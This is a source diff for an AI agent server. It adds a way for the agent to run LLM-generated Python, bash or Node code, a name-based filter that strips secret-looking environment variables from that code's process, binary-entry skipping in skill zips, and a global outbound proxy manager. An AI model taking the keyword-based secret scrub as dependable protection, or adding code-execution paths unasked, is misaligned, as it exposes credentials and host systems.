.orderByAsc(SubPlanEntity::getStepIndex)); } + /** + * The agent delegated to run a given step, or {@code null} when the step + * runs with the parent (plan) agent. Read by the executor to route a step to + * its specialist agent. Sourced from the DB (not graph state) so it survives + * replay / approval-resume. + */ + public Long getStepAssignedAgent(Long planId, int stepIndex) { + SubPlanEntity sub = getSubPlan(planId, stepIndex); + return sub != null ? sub.getAssignedAgentId() : null; + } + /** * 标记计划失败 */ diff --git a/mateclaw-server/src/main/java/vip/mate/plugin/PluginManager.java b/mateclaw-server/src/main/java/vip/mate/plugin/PluginManager.java index 5d3322eb..0976c26f 100644 --- a/mateclaw-server/src/main/java/vip/mate/plugin/PluginManager.java +++ b/mateclaw-server/src/main/java/vip/mate/plugin/PluginManager.java @@ -7,6 +7,7 @@ import lombok.extern.slf4j.Slf4j; import org.springframework.boot.context.event.ApplicationReadyEvent; import org.springframework.context.event.EventListener; import org.springframework.core.annotation.Order; +import org.springframework.scheduling.annotation.Async; import org.springframework.stereotype.Component; import vip.mate.channel.ChannelManager; import vip.mate.llm.service.ModelProviderService; @@ -65,7 +66,9 @@ public class PluginManager { * Load all plugins on application startup. * Scans three paths in priority order: workspace > user-global. * Higher priority plugins shadow lower priority ones with the same name. + * {@code @Async} — 文件系统扫描和 JAR 类加载不阻塞主启动线程。 */ + @Async @EventListener(ApplicationReadyEvent.class) @Order(250) public void loadAllPlugins() { diff --git a/mateclaw-server/src/main/java/vip/mate/skill/installer/ZipSkillFetcher.java b/mateclaw-server/src/main/java/vip/mate/skill/installer/ZipSkillFetcher.java index ef483df5..e1e8221f 100644 --- a/mateclaw-server/src/main/java/vip/mate/skill/installer/ZipSkillFetcher.java +++ b/mateclaw-server/src/main/java/vip/mate/skill/installer/ZipSkillFetcher.java @@ -29,6 +29,8 @@ import java.util.zip.ZipInputStream; *

  • Zip Slip path traversal
  • *
  • Per-file ≤1MB, total ≤50MB
  • *
  • Only SKILL.md / references/ / scripts/ entries are kept
  • + *
  • Binary entries are skipped with a WARN — bundle storage is text-only, + * so decoding them as text would persist corrupted content
  • *
* *

Extraction is two-pass: the entire archive is buffered in memory first @@ -229,6 +231,23 @@ public class ZipSkillFetcher { throw new IOException("Total extracted size exceeds 50MB limit"); } + // Skill bundles persist file contents as text (mate_skill_file + // is a TEXT column; SkillBundle carries Map). + // Decoding a binary entry (.png/.woff/.zip/compiled helper, …) + // as text replaces every invalid byte with U+FFFD, so the file + // would be stored permanently corrupted and "restored" broken + // on every sync. Binary resources are not supported in a bundle + // today, so skip them with a clear WARN instead of silently + // mangling them — matches how unknown root-level files are + // already handled below. (Root-level binaries were already + // dropped; this also covers binaries nested in scripts/ and + // references/, which previously slipped through corrupted.) + if (isLikelyBinary(bytes)) { + log.warn("[ZipSkillFetcher] Skipping binary entry (not supported in skill bundles): {}", entryName); + zis.closeEntry(); + continue; + } + String content = new String(bytes, charset); String normalizedName = entryPath.toString().replace('\\', '/'); String fileName = entryPath.getFileName().toString(); @@ -289,6 +308,27 @@ public class ZipSkillFetcher { return new ExtractedSkill(skillMdContent, references, scripts); } + /** + * Heuristic binary detector: an entry is treated as binary if a NUL byte + * (0x00) appears within the inspected prefix. UTF-8 and GBK text never + * contain a NUL, while virtually every binary format (PNG/WOFF/ZIP/class/ + * native executable) carries one near the start — this is the same cheap, + * reliable test git uses to decide "is this a text file". Inspecting only a + * prefix keeps it O(1) for large entries. + */ + private static boolean isLikelyBinary(byte[] bytes) { + if (bytes == null || bytes.length == 0) { + return false; + } + int limit = Math.min(bytes.length, 8000); + for (int i = 0; i < limit; i++) { + if (bytes[i] == 0x00) { + return true; + } + } + return false; + } + /** * Classify a root-level file (sibling of SKILL.md, no directory prefix) * by extension. Returns {@code "scripts"} / {@code "references"} for diff --git a/mateclaw-server/src/main/java/vip/mate/skill/runtime/SkillRuntimeService.java b/mateclaw-server/src/main/java/vip/mate/skill/runtime/SkillRuntimeService.java index edfa3eca..2bd13d1f 100644 --- a/mateclaw-server/src/main/java/vip/mate/skill/runtime/SkillRuntimeService.java +++ b/mateclaw-server/src/main/java/vip/mate/skill/runtime/SkillRuntimeService.java @@ -495,7 +495,10 @@ public class SkillRuntimeService { sb.append("To read a skill's reference or script files, use "); sb.append("`readSkillFile(skillName=, filePath=\"references/...\")`. "); sb.append("Skills with a `scripts/` directory expose `runSkillScript`; "); - sb.append("SKILL.md will name the script when needed.\n\n"); + sb.append("SKILL.md will name the script when needed. "); + sb.append("If a skill describes steps but ships no runnable script, write the code "); + sb.append("its instructions describe and run it with "); + sb.append("`execute_code(language=, code=..., skillName=)`.\n\n"); sb.append("| Skill | Status | Description |\n"); sb.append("|-------|--------|-------------|\n"); for (ResolvedSkill skill : selected) { diff --git a/mateclaw-server/src/main/java/vip/mate/skill/runtime/SkillScriptExecutionService.java b/mateclaw-server/src/main/java/vip/mate/skill/runtime/SkillScriptExecutionService.java index 3eb92ea2..daa93ae6 100644 --- a/mateclaw-server/src/main/java/vip/mate/skill/runtime/SkillScriptExecutionService.java +++ b/mateclaw-server/src/main/java/vip/mate/skill/runtime/SkillScriptExecutionService.java @@ -28,10 +28,22 @@ import java.util.concurrent.TimeUnit; public class SkillScriptExecutionService { private static final long DEFAULT_TIMEOUT_SECONDS = 30; + private static final long MAX_TIMEOUT_SECONDS = 300; private static final int MAX_OUTPUT_BYTES = 50_000; private static final boolean IS_WINDOWS = System.getProperty("os.name", "") .toLowerCase(Locale.ROOT).contains("win"); + /** Supported inline-code languages mapped to the temp-file extension. */ + private static final Map LANGUAGE_EXTENSIONS = Map.of( + "python", ".py", + "py", ".py", + "bash", ".sh", + "sh", ".sh", + "shell", ".sh", + "node", ".js", + "javascript", ".js", + "js", ".js"); + /** * 执行脚本(兼容签名 — 不注入额外 env vars) * @@ -56,6 +68,85 @@ public class SkillScriptExecutionService { * @return 执行结果 */ public ScriptResult execute(Path scriptPath, List args, Map envVars) { + return executeResolved(scriptPath, args, envVars, DEFAULT_TIMEOUT_SECONDS, false); + } + + /** + * Execute LLM-generated source code inline, without a pre-existing script file. + *

+ * Materializes {@code code} into a temporary file (extension chosen from + * {@code language}) inside {@code workingDir}, runs it through the same + * interpreter-selection + timeout + output-capping + env-injection path as + * {@link #execute(Path, List, Map)}, then deletes the temp file. + * + *

This is what makes a documentation-only skill (a SKILL.md with no + * {@code scripts:} entries) runnable: the agent reads the instructions, + * generates code, and runs it here. + * + * @param language one of python / bash / node (and aliases); selects the interpreter + * @param code the source code to run; must be non-blank + * @param workingDir directory the temp file is written to and the process cwd. When {@code null} + * a private temp scratch directory is created and removed afterward; when + * non-null it must be an existing directory (e.g. a skill or workspace dir) + * @param args optional positional arguments passed to the program + * @param envVars optional env vars injected into the subprocess (e.g. decrypted skill secrets) + * @param timeoutSeconds optional timeout override; clamped to (0, {@value #MAX_TIMEOUT_SECONDS}], defaults to {@value #DEFAULT_TIMEOUT_SECONDS} + * @return execution result + */ + public ScriptResult executeCode(String language, String code, Path workingDir, + List args, Map envVars, Long timeoutSeconds) { + if (code == null || code.isBlank()) { + return ScriptResult.error(-1, "No code supplied"); + } + String ext = language == null ? null + : LANGUAGE_EXTENSIONS.get(language.trim().toLowerCase(Locale.ROOT)); + if (ext == null) { + return ScriptResult.error(-1, "Unsupported language: " + language + + ". Supported: python, bash, node"); + } + if (workingDir != null && !Files.isDirectory(workingDir)) { + return ScriptResult.error(-1, "Working directory does not exist: " + workingDir); + } + + long timeout = DEFAULT_TIMEOUT_SECONDS; + if (timeoutSeconds != null && timeoutSeconds > 0) { + timeout = Math.min(timeoutSeconds, MAX_TIMEOUT_SECONDS); + } + + // No caller-supplied directory (e.g. an agent with no workspace base path): + // run in a private scratch directory and remove it afterward. Mirrors the + // shell tool tolerating a null working directory rather than failing. + Path scratchDir = null; + Path codeFile = null; + try { + Path dir = workingDir; + if (dir == null) { + scratchDir = Files.createTempDirectory("mc_code_ws_"); + dir = scratchDir; + } + // Write the code into the working dir so the process cwd matches the + // file location — relative paths in the generated code resolve as the + // author expects, and skill-scoped runs stay inside the skill dir. + codeFile = Files.createTempFile(dir, "mc_code_", ext); + Files.writeString(codeFile, code, StandardCharsets.UTF_8); + if (!IS_WINDOWS && ext.equals(".sh")) { + codeFile.toFile().setExecutable(true); + } + // Scrub sensitive host env vars: the code is LLM-authored, so it must + // not inherit the server's API keys / tokens. Skill secrets, when + // supplied via envVars, are re-added on top. + return executeResolved(codeFile, args, envVars, timeout, true); + } catch (IOException e) { + log.error("Failed to materialize inline code: {}", e.getMessage()); + return ScriptResult.error(-1, "Failed to write code file: " + e.getMessage()); + } finally { + deleteQuietly(codeFile); + deleteDirQuietly(scratchDir); + } + } + + private ScriptResult executeResolved(Path scriptPath, List args, Map envVars, + long timeoutSeconds, boolean scrubSensitiveEnv) { if (!Files.exists(scriptPath) || !Files.isRegularFile(scriptPath)) { return ScriptResult.error(-1, "Script not found: " + scriptPath); } @@ -113,7 +204,15 @@ public class SkillScriptExecutionService { pb.directory(scriptPath.getParent().toFile()); pb.redirectOutput(stdoutFile.toFile()); pb.redirectError(stderrFile.toFile()); - // RFC-091: inject per-skill secrets / settings as env vars. + // Strip secrets from the inherited environment before injecting the + // caller's own env. Used for LLM-authored inline code so it never + // sees the server's API keys / tokens via process inheritance. + if (scrubSensitiveEnv) { + pb.environment().keySet().removeIf(key -> + key.contains("KEY") || key.contains("SECRET") || key.contains("TOKEN") + || key.contains("PASSWORD") || key.contains("CREDENTIAL")); + } + // Inject per-skill secrets / settings as env vars. // pb.environment() inherits the parent process env; putAll // OVERRIDES same-named entries with the supplied values. // Null / blank values are skipped to avoid clearing @@ -129,12 +228,12 @@ public class SkillScriptExecutionService { Process process = pb.start(); - boolean finished = process.waitFor(DEFAULT_TIMEOUT_SECONDS, TimeUnit.SECONDS); + boolean finished = process.waitFor(timeoutSeconds, TimeUnit.SECONDS); if (!finished) { killProcess(process); String stdout = readFileTruncated(stdoutFile, MAX_OUTPUT_BYTES); String stderr = readFileTruncated(stderrFile, MAX_OUTPUT_BYTES); - String timeoutMsg = "[timeout after " + DEFAULT_TIMEOUT_SECONDS + "s]"; + String timeoutMsg = "[timeout after " + timeoutSeconds + "s]"; stderr = stderr.isEmpty() ? timeoutMsg : stderr + "\n" + timeoutMsg; return new ScriptResult(-1, stdout, stderr); } @@ -199,6 +298,16 @@ public class SkillScriptExecutionService { } } + /** Recursively remove a scratch directory created for an inline-code run. */ + private static void deleteDirQuietly(Path dir) { + if (dir == null) return; + try (var paths = Files.walk(dir)) { + paths.sorted(java.util.Comparator.reverseOrder()).forEach(p -> { + try { Files.deleteIfExists(p); } catch (IOException ignored) {} + }); + } catch (IOException ignored) {} + } + @lombok.Data @lombok.AllArgsConstructor public static class ScriptResult { diff --git a/mateclaw-server/src/main/java/vip/mate/skill/workspace/SkillWorkspaceManager.java b/mateclaw-server/src/main/java/vip/mate/skill/workspace/SkillWorkspaceManager.java index 6f3aa1ab..fdcd3417 100644 --- a/mateclaw-server/src/main/java/vip/mate/skill/workspace/SkillWorkspaceManager.java +++ b/mateclaw-server/src/main/java/vip/mate/skill/workspace/SkillWorkspaceManager.java @@ -47,10 +47,36 @@ public class SkillWorkspaceManager { } /** - * 按约定解析 skill 工作区路径:{root}/{skillName}/ + * Resolve the conventional skill workspace path: {@code {root}/{sanitizedName}}. + *

+ * Deterministic in {@code skillName} alone (no filesystem-state dependency). The + * non-ASCII collision fixed in #254 comes from {@link #sanitizeNameForFs} preserving + * Unicode letters/digits, so distinct names already map to distinct directories. No + * {@code -hash} suffix is appended: skill names are charset-constrained, so two names + * sanitizing to the same string is not a real case, and keeping the bare name avoids + * changing the path scheme for every existing skill (which would orphan already-created + * workspaces with no migration). */ public Path resolveConventionPath(String skillName) { - return getWorkspaceRoot().resolve(sanitizeName(skillName)); + return getWorkspaceRoot().resolve(sanitizeNameForFs(skillName)); + } + + /** + * Sanitize a skill name into a filesystem-safe directory segment. + *

+ * Keeps the same charset as the legacy {@code [a-zA-Z0-9_.-]} rule but additionally + * preserves Unicode letters/digits ({@code \p{L}\p{N}}), so non-ASCII names no longer + * collapse to underscores and collide (#254). Everything else — path separators, + * control characters, whitespace — becomes {@code _}. Hyphens are kept (not folded to + * {@code _}) so existing kebab-case skill paths (e.g. {@code browser-cdp}) are unchanged + * across upgrades; only the Unicode handling differs from the legacy behavior. + */ + private String sanitizeNameForFs(String name) { + if (name == null || name.isBlank()) { + return "unnamed"; + } + String cleaned = name.strip().replaceAll("[^\\p{L}\\p{N}_.\\-]", "_"); + return cleaned.isEmpty() ? "unnamed" : cleaned; } /** @@ -116,11 +142,18 @@ public class SkillWorkspaceManager { Files.createDirectories(workspaceDir.resolve("scripts")); Path skillMd = workspaceDir.resolve("SKILL.md"); - if (overwrite || !Files.exists(skillMd)) { - String content = (initialContent != null && !initialContent.isBlank()) - ? initialContent - : buildDefaultSkillMd(skillName); + String content = (initialContent != null && !initialContent.isBlank()) + ? initialContent + : buildDefaultSkillMd(skillName); + if (overwrite) { Files.writeString(skillMd, content); + } else { + // 原子创建,避免并发上传时的 TOCTOU 竞态 + try { + Files.writeString(skillMd, content, StandardOpenOption.CREATE_NEW); + } catch (FileAlreadyExistsException e) { + // 另一线程已创建,跳过写入 + } } log.info("Initialized skill workspace: {} (overwrite={})", workspaceDir, overwrite); diff --git a/mateclaw-server/src/main/java/vip/mate/system/controller/ProxyController.java b/mateclaw-server/src/main/java/vip/mate/system/controller/ProxyController.java new file mode 100644 index 00000000..58b1a3a7 --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/system/controller/ProxyController.java @@ -0,0 +1,84 @@ +package vip.mate.system.controller; + +import io.swagger.v3.oas.annotations.Operation; +import io.swagger.v3.oas.annotations.tags.Tag; +import lombok.Data; +import lombok.RequiredArgsConstructor; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import vip.mate.common.result.R; +import vip.mate.system.proxy.ProxyManager; +import vip.mate.system.proxy.ProxySettings; +import vip.mate.workspace.core.annotation.RequireGlobalAdmin; + +/** + * Global outbound-proxy configuration. System-wide, so reads require an admin + * and writes require the global admin. + */ +@Tag(name = "网络代理") +@RestController +@RequestMapping("/api/v1/settings/proxy") +@RequiredArgsConstructor +public class ProxyController { + + private final ProxyManager proxyManager; + + @Operation(summary = "获取全局代理配置") + @GetMapping + @RequireGlobalAdmin + public R get() { + return R.ok(toResponse(proxyManager.currentSettings())); + } + + @Operation(summary = "保存全局代理配置") + @PutMapping + @RequireGlobalAdmin + public R save(@RequestBody ProxyConfigRequest req) { + ProxySettings saved = proxyManager.save( + Boolean.TRUE.equals(req.getEnabled()), + req.getUrl(), + req.getNonProxyHosts()); + if (saved.enabled() && !saved.valid()) { + return R.fail(saved.error()); + } + return R.ok(toResponse(saved)); + } + + @Operation(summary = "测试代理连通性") + @PostMapping("/test") + @RequireGlobalAdmin + public R test(@RequestBody ProxyConfigRequest req) { + ProxyManager.ProbeResult result = proxyManager.test(req.getUrl()); + return R.ok(result); + } + + private ProxyConfigResponse toResponse(ProxySettings s) { + ProxyConfigResponse resp = new ProxyConfigResponse(); + resp.setEnabled(s.enabled()); + resp.setUrl(s.url()); + resp.setNonProxyHosts(s.nonProxyHosts()); + resp.setValid(s.valid()); + resp.setError(s.error()); + return resp; + } + + @Data + public static class ProxyConfigRequest { + private Boolean enabled; + private String url; + private String nonProxyHosts; + } + + @Data + public static class ProxyConfigResponse { + private boolean enabled; + private String url; + private String nonProxyHosts; + private boolean valid; + private String error; + } +} diff --git a/mateclaw-server/src/main/java/vip/mate/system/proxy/ProxyManager.java b/mateclaw-server/src/main/java/vip/mate/system/proxy/ProxyManager.java new file mode 100644 index 00000000..5c2a39f4 --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/system/proxy/ProxyManager.java @@ -0,0 +1,291 @@ +package vip.mate.system.proxy; + +import lombok.extern.slf4j.Slf4j; +import org.springframework.boot.context.event.ApplicationReadyEvent; +import org.springframework.context.event.EventListener; +import org.springframework.stereotype.Component; +import org.springframework.util.StringUtils; +import vip.mate.system.service.SystemSettingService; + +import java.io.IOException; +import java.net.Authenticator; +import java.net.InetSocketAddress; +import java.net.PasswordAuthentication; +import java.net.Proxy; +import java.net.ProxySelector; +import java.net.Socket; +import java.net.SocketAddress; +import java.net.URI; +import java.util.List; +import java.util.concurrent.atomic.AtomicReference; + +/** + * Installs and refreshes the process-wide outbound proxy from the global + * {@code proxy.*} system settings. + * + *

When enabled, the configured proxy is applied through three mechanisms so + * it reaches every egress style in the backend with a single switch, instead of + * patching dozens of scattered HTTP-client construction sites: + *

    + *
  1. A default {@link ProxySelector} — honored by every + * {@link java.net.http.HttpClient} built without an explicit proxy (LLM + * calls, model probes, most channel adapters, MCP, STT/TTS) and by + * {@code HttpURLConnection} (the Hutool-based search / media tools).
  2. + *
  3. {@code http(s).proxyHost}/{@code socksProxyHost} system properties — for + * libraries that read them directly.
  4. + *
  5. A static accessor ({@link #chromeProxyServer()}) the browser launcher + * reads to add {@code --proxy-server}, since Chromium does not honor the + * JVM proxy.
  6. + *
+ * + *

SOCKS proxies are honored by {@code HttpURLConnection} but silently ignored + * by {@code java.net.http.HttpClient}; see {@link ProxySettings} for the + * resulting coverage boundary. + * + *

Adapters that carry their own per-channel proxy (Telegram / Discord set an + * explicit {@code .proxy()}) override the default selector, so this global proxy + * never fights a more specific one. + */ +@Slf4j +@Component +public class ProxyManager { + + static final String KEY_ENABLED = "proxy.enabled"; + static final String KEY_URL = "proxy.url"; + static final String KEY_NON_PROXY_HOSTS = "proxy.nonProxyHosts"; + + private static final String[] MANAGED_SYSTEM_PROPS = { + "http.proxyHost", "http.proxyPort", + "https.proxyHost", "https.proxyPort", + "http.nonProxyHosts", + "socksProxyHost", "socksProxyPort", + }; + + /** + * Current {@code scheme://host:port} for Chromium's {@code --proxy-server}, + * or {@code null} when no proxy is active. Static so the static browser + * launch-arg builder can read it without a bean reference. + */ + private static volatile String chromeProxyServer; + + private final SystemSettingService settings; + + /** The default selector present before we ever overrode it, for restore. */ + private final ProxySelector originalDefaultSelector; + private final Authenticator originalDefaultAuthenticator; + private final AtomicReference current = new AtomicReference<>(); + private volatile boolean authenticatorInstalled; + + public ProxyManager(SystemSettingService settings) { + this.settings = settings; + this.originalDefaultSelector = ProxySelector.getDefault(); + this.originalDefaultAuthenticator = Authenticator.getDefault(); + } + + /** Chromium {@code --proxy-server} value, or {@code null} when inactive. */ + public static String chromeProxyServer() { + return chromeProxyServer; + } + + @EventListener(ApplicationReadyEvent.class) + public void onReady() { + try { + apply(readSettings()); + } catch (Exception e) { + log.warn("Failed to apply proxy settings at startup: {}", e.getMessage()); + } + } + + /** Re-read persisted settings and re-apply. Called after a config save. */ + public synchronized void refresh() { + apply(readSettings()); + } + + public ProxySettings currentSettings() { + ProxySettings s = current.get(); + return s != null ? s : readSettings(); + } + + public ProxySettings readSettings() { + boolean enabled = settings.getBool(KEY_ENABLED, false); + String url = settings.getString(KEY_URL, ""); + String nph = settings.getString(KEY_NON_PROXY_HOSTS, ""); + return ProxySettings.parse(enabled, url, nph); + } + + /** Persist new config and apply it immediately. Returns the parsed result. */ + public synchronized ProxySettings save(boolean enabled, String url, String nonProxyHosts) { + settings.saveBool(KEY_ENABLED, enabled, "Global outbound proxy enabled"); + settings.saveString(KEY_URL, url == null ? "" : url.trim(), "Global outbound proxy url"); + settings.saveString(KEY_NON_PROXY_HOSTS, + nonProxyHosts == null ? "" : nonProxyHosts.trim(), + "Global proxy bypass list (| separated)"); + ProxySettings parsed = readSettings(); + apply(parsed); + return parsed; + } + + private synchronized void apply(ProxySettings s) { + current.set(s); + clearManagedSystemProps(); + if (!s.active()) { + ProxySelector.setDefault(originalDefaultSelector); + uninstallAuthenticator(); + chromeProxyServer = null; + if (s.enabled() && !s.valid()) { + log.warn("Global proxy is enabled but the url is invalid ({}); running without a proxy", + s.error()); + } else { + log.info("Global proxy disabled; outbound traffic goes direct"); + } + return; + } + + ProxySelector.setDefault(new GlobalProxySelector(s, originalDefaultSelector)); + setSystemProps(s); + installAuthenticatorIfNeeded(s); + chromeProxyServer = s.chromeProxyServer(); + log.info("Global proxy active: {} {}:{}{} (bypass: {})", + s.isSocks() ? "SOCKS" : "HTTP", s.host(), s.port(), + s.hasCredentials() ? " (auth)" : "", s.nonProxyHosts()); + if (s.isSocks()) { + log.warn("SOCKS proxy applies to HttpURLConnection-based egress (search/media) only; " + + "the java.net.http LLM/streaming path does not support SOCKS and will go direct"); + } + } + + private void setSystemProps(ProxySettings s) { + if (s.isSocks()) { + System.setProperty("socksProxyHost", s.host()); + System.setProperty("socksProxyPort", String.valueOf(s.port())); + } else { + System.setProperty("http.proxyHost", s.host()); + System.setProperty("http.proxyPort", String.valueOf(s.port())); + System.setProperty("https.proxyHost", s.host()); + System.setProperty("https.proxyPort", String.valueOf(s.port())); + // JVM uses '|'-separated patterns here — same format we persist. + if (StringUtils.hasText(s.nonProxyHosts())) { + System.setProperty("http.nonProxyHosts", s.nonProxyHosts()); + } + } + } + + private void clearManagedSystemProps() { + for (String prop : MANAGED_SYSTEM_PROPS) { + System.clearProperty(prop); + } + } + + private void installAuthenticatorIfNeeded(ProxySettings s) { + if (!s.hasCredentials()) { + uninstallAuthenticator(); + return; + } + final String user = s.username(); + final char[] pass = s.password() == null ? new char[0] : s.password().toCharArray(); + // Allow Basic proxy auth over an HTTPS CONNECT tunnel (disabled by default since JDK 8u111). + System.setProperty("jdk.http.auth.tunneling.disabledSchemes", ""); + System.setProperty("jdk.http.auth.proxying.disabledSchemes", ""); + Authenticator.setDefault(new Authenticator() { + @Override + protected PasswordAuthentication getPasswordAuthentication() { + if (getRequestorType() == RequestorType.PROXY) { + return new PasswordAuthentication(user, pass); + } + return null; + } + }); + authenticatorInstalled = true; + } + + private void uninstallAuthenticator() { + if (authenticatorInstalled) { + Authenticator.setDefault(originalDefaultAuthenticator); + authenticatorInstalled = false; + } + } + + /** + * Probe reachability of the configured proxy by opening a TCP connection to + * its host:port. Confirms the proxy endpoint is listening (the common + * failure mode — proxy app not running / wrong port) without depending on + * upstream internet connectivity. Returns latency in milliseconds. + */ + public ProbeResult test(String url) { + ProxySettings s = ProxySettings.parse(true, url, null); + if (!s.valid()) { + return new ProbeResult(false, 0, s.error()); + } + long start = System.nanoTime(); + try (Socket socket = new Socket()) { + socket.connect(new InetSocketAddress(s.host(), s.port()), 4000); + long ms = (System.nanoTime() - start) / 1_000_000; + return new ProbeResult(true, ms, null); + } catch (IOException e) { + return new ProbeResult(false, 0, e.getClass().getSimpleName() + ": " + e.getMessage()); + } + } + + /** Result of {@link #test(String)}. */ + public record ProbeResult(boolean ok, long latencyMs, String error) { + } + + /** + * Routes through the configured proxy unless the target host matches the + * bypass list, in which case it defers to the selector that was the default + * before we took over (preserving any pre-existing direct/proxy behavior). + */ + private static final class GlobalProxySelector extends ProxySelector { + private final List proxyList; + private final List bypass; + private final ProxySelector fallback; + + GlobalProxySelector(ProxySettings s, ProxySelector fallback) { + this.proxyList = List.of(s.toProxy()); + this.bypass = s.bypassPatterns(); + this.fallback = fallback; + } + + @Override + public List select(URI uri) { + String host = uri == null ? null : uri.getHost(); + if (host == null || matchesBypass(host)) { + return fallback != null ? fallback.select(uri) : List.of(Proxy.NO_PROXY); + } + return proxyList; + } + + @Override + public void connectFailed(URI uri, SocketAddress sa, IOException ioe) { + if (fallback != null) { + fallback.connectFailed(uri, sa, ioe); + } + } + + private boolean matchesBypass(String host) { + for (String pattern : bypass) { + if (matches(pattern, host)) { + return true; + } + } + return false; + } + + /** Glob match with leading/trailing {@code *}, matching JVM nonProxyHosts semantics. */ + private static boolean matches(String pattern, String host) { + if (pattern.equalsIgnoreCase(host)) { + return true; + } + if (pattern.startsWith("*") && pattern.endsWith("*") && pattern.length() > 2) { + return host.toLowerCase().contains(pattern.substring(1, pattern.length() - 1).toLowerCase()); + } + if (pattern.startsWith("*")) { + return host.toLowerCase().endsWith(pattern.substring(1).toLowerCase()); + } + if (pattern.endsWith("*")) { + return host.toLowerCase().startsWith(pattern.substring(0, pattern.length() - 1).toLowerCase()); + } + return false; + } + } +} diff --git a/mateclaw-server/src/main/java/vip/mate/system/proxy/ProxySettings.java b/mateclaw-server/src/main/java/vip/mate/system/proxy/ProxySettings.java new file mode 100644 index 00000000..e9eef184 --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/system/proxy/ProxySettings.java @@ -0,0 +1,194 @@ +package vip.mate.system.proxy; + +import org.springframework.util.StringUtils; + +import java.net.InetSocketAddress; +import java.net.Proxy; +import java.net.URI; +import java.util.ArrayList; +import java.util.List; + +/** + * Parsed, validated form of the global outbound-proxy configuration. + * + *

The raw config is a single proxy URL — {@code http://127.0.0.1:7890}, + * {@code https://host:443}, or {@code socks5://127.0.0.1:1080} — with optional + * {@code user:pass@} credentials. The scheme selects the proxy type: + * {@code socks}/{@code socks5}/{@code socks4} map to a SOCKS proxy, everything + * else to an HTTP proxy. + * + *

HTTP/HTTPS proxies are honored across the whole backend (the JDK + * {@link java.net.http.HttpClient} and {@code HttpURLConnection} both respect a + * default {@link java.net.ProxySelector}). SOCKS is only honored by the + * {@code HttpURLConnection}-based egress (search / media tools); the + * {@code java.net.http} client silently ignores a SOCKS proxy, so SOCKS does not + * cover the LLM / streaming path — callers must use an HTTP proxy for that. + */ +public final class ProxySettings { + + /** Default bypass list applied when the user leaves the field blank. */ + public static final String DEFAULT_NON_PROXY_HOSTS = + "localhost|127.*|[::1]|10.*|172.16.*|172.17.*|172.18.*|172.19.*|" + + "172.2*|172.30.*|172.31.*|192.168.*|*.local"; + + private final boolean enabled; + private final String url; + private final String nonProxyHosts; + + // Derived (only meaningful when valid()). + private final Proxy.Type type; + private final String host; + private final int port; + private final String username; + private final String password; + private final boolean valid; + private final String error; + + private ProxySettings(boolean enabled, String url, String nonProxyHosts, + Proxy.Type type, String host, int port, + String username, String password, boolean valid, String error) { + this.enabled = enabled; + this.url = url; + this.nonProxyHosts = nonProxyHosts; + this.type = type; + this.host = host; + this.port = port; + this.username = username; + this.password = password; + this.valid = valid; + this.error = error; + } + + /** + * Parse persisted values into a validated settings object. Never throws — + * an unparseable URL yields {@code valid() == false} with {@link #error()} + * populated, so a bad row can't crash startup. + */ + public static ProxySettings parse(boolean enabled, String url, String nonProxyHosts) { + String nph = StringUtils.hasText(nonProxyHosts) ? nonProxyHosts.trim() : DEFAULT_NON_PROXY_HOSTS; + if (!StringUtils.hasText(url)) { + return new ProxySettings(enabled, url, nph, null, null, -1, null, null, false, + "proxy url is empty"); + } + String trimmed = url.trim(); + URI uri; + try { + uri = new URI(trimmed); + } catch (Exception e) { + return new ProxySettings(enabled, url, nph, null, null, -1, null, null, false, + "malformed proxy url: " + e.getMessage()); + } + String scheme = uri.getScheme() == null ? "" : uri.getScheme().toLowerCase(); + Proxy.Type proxyType = switch (scheme) { + case "socks", "socks5", "socks4" -> Proxy.Type.SOCKS; + case "http", "https" -> Proxy.Type.HTTP; + default -> null; + }; + if (proxyType == null) { + return new ProxySettings(enabled, url, nph, null, null, -1, null, null, false, + "unsupported proxy scheme: " + scheme + " (use http/https/socks5)"); + } + String h = uri.getHost(); + int p = uri.getPort(); + if (!StringUtils.hasText(h) || p <= 0) { + return new ProxySettings(enabled, url, nph, null, null, -1, null, null, false, + "proxy url must include host and port, e.g. http://127.0.0.1:7890"); + } + String user = null; + String pass = null; + String userInfo = uri.getUserInfo(); + if (StringUtils.hasText(userInfo)) { + int idx = userInfo.indexOf(':'); + if (idx >= 0) { + user = userInfo.substring(0, idx); + pass = userInfo.substring(idx + 1); + } else { + user = userInfo; + } + } + return new ProxySettings(enabled, trimmed, nph, proxyType, h, p, user, pass, true, null); + } + + public boolean enabled() { + return enabled; + } + + /** True when the proxy should actually be installed: enabled AND parseable. */ + public boolean active() { + return enabled && valid; + } + + public boolean valid() { + return valid; + } + + public String error() { + return error; + } + + public String url() { + return url; + } + + public String nonProxyHosts() { + return nonProxyHosts; + } + + public Proxy.Type type() { + return type; + } + + public boolean isSocks() { + return type == Proxy.Type.SOCKS; + } + + public String host() { + return host; + } + + public int port() { + return port; + } + + public String username() { + return username; + } + + public String password() { + return password; + } + + public boolean hasCredentials() { + return StringUtils.hasText(username); + } + + /** A {@link Proxy} instance for explicit injection where needed. */ + public Proxy toProxy() { + return new Proxy(type, new InetSocketAddress(host, port)); + } + + /** + * The {@code --proxy-server} value for Chromium. Chromium accepts + * {@code scheme://host:port} but not embedded credentials, so userinfo is + * dropped here. + */ + public String chromeProxyServer() { + String scheme = isSocks() ? "socks5" : "http"; + return scheme + "://" + host + ":" + port; + } + + /** Split the {@code |}-separated bypass list into individual patterns. */ + public List bypassPatterns() { + List out = new ArrayList<>(); + if (!StringUtils.hasText(nonProxyHosts)) { + return out; + } + for (String part : nonProxyHosts.split("\\|")) { + String t = part.trim(); + if (!t.isEmpty()) { + out.add(t); + } + } + return out; + } +} diff --git a/mateclaw-server/src/main/java/vip/mate/system/service/SystemHealthService.java b/mateclaw-server/src/main/java/vip/mate/system/service/SystemHealthService.java index 1128ffb4..b886af16 100644 --- a/mateclaw-server/src/main/java/vip/mate/system/service/SystemHealthService.java +++ b/mateclaw-server/src/main/java/vip/mate/system/service/SystemHealthService.java @@ -67,7 +67,7 @@ public class SystemHealthService { } } - return new HealthResponse(overall, checks); + return new HealthResponse(overall, checks, bootstrapRunner.getDatabaseLabel()); } private HealthCheck checkDefaultModel() { @@ -190,7 +190,7 @@ public class SystemHealthService { // ==================== Response Records 